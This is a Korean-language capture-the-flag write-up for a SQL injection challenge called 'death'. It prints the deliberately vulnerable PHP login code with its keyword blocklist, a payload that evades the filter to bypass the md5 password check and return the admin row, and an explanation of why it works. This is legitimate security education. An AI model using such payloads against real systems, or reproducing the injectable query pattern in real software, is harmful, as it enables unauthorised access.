두 번째 문제는 death이다. 이 전 문제와 비슷해서 쉽게 풀 수 있었다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
-----------------------------------------------------------------
query : select id from prob_death where id='' and pw=md5('')
-----------------------------------------------------------------

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

이 전 문제와 동일하게 방화벽이 걸려 있으며, 다른점은 pwmd5로 해싱된다는 것과 추출한 결과의 id 값이 admin이어야 한다는 것이다. 언뜻 보기에는 admin의 정확한 pw 값을 알아야 할 것 같다. 하지만 어찌어찌 방화벽을 우회해서 DB에 저장된 pw 값을 뽑아낸다 하더라도 그 값은 md5로 해싱 된 값이기 때문에 pw를 복구하기가 어렵다. 때문에 뒤의 pw를 검사하는 부분을 무시하도록 혹은 검증하지 않도록 공격을 수행해야 한다. 이를 위해 내가 생각한 쿼리는 다음과 같다.

1
id=-1'<@=1 OR id<'guest' OR '&pw=a

이를 입력하면 완성되는 쿼리는 다음과 같다.

1
select id from prob_death where id='-1'<@=1 OR id<'guest' OR '' and pw=md5('a')

where 절을 살펴보면 조건은 크게 3개이다. 첫 번째로 id='-1'<@1은 이 전 문제에서 설명했다시피 '-1'<@1NULL이 되며 id=NULL이 되기 때문에 거짓이 된다. 이 때, 두 번째 조건은 id<'guest'이다. id의 값이 guest 보다 작은 값을 찾게 되는데, 이는 테이블에 값이 adminguest만 있다고 가정하고 사용 한 조건이다. 알파벳 ag보다 값이 작기 때문에 admin의 값은 guest보다 작다. 만약 테이블에 adminguest의 두 값만 있다면, id<'guest'의 결과는 당연히 admin이 될 것이다. 여기서 두 번째 조건이 참이 되었기 때문에 뒤의 '' and pw=md5('a')는 무시하게 된다. 해당 쿼리를 문제에 전달하면 아래와 같이 admin 값을 추출하며 문제를 풀 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
-------------------------------------------------------------------------------------------
query : select id from prob_death where id='-1'<@=1 OR id<'guest' OR '' and pw=md5('a')
-------------------------------------------------------------------------------------------

DEATH Clear!
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

1
DEATH Clear!!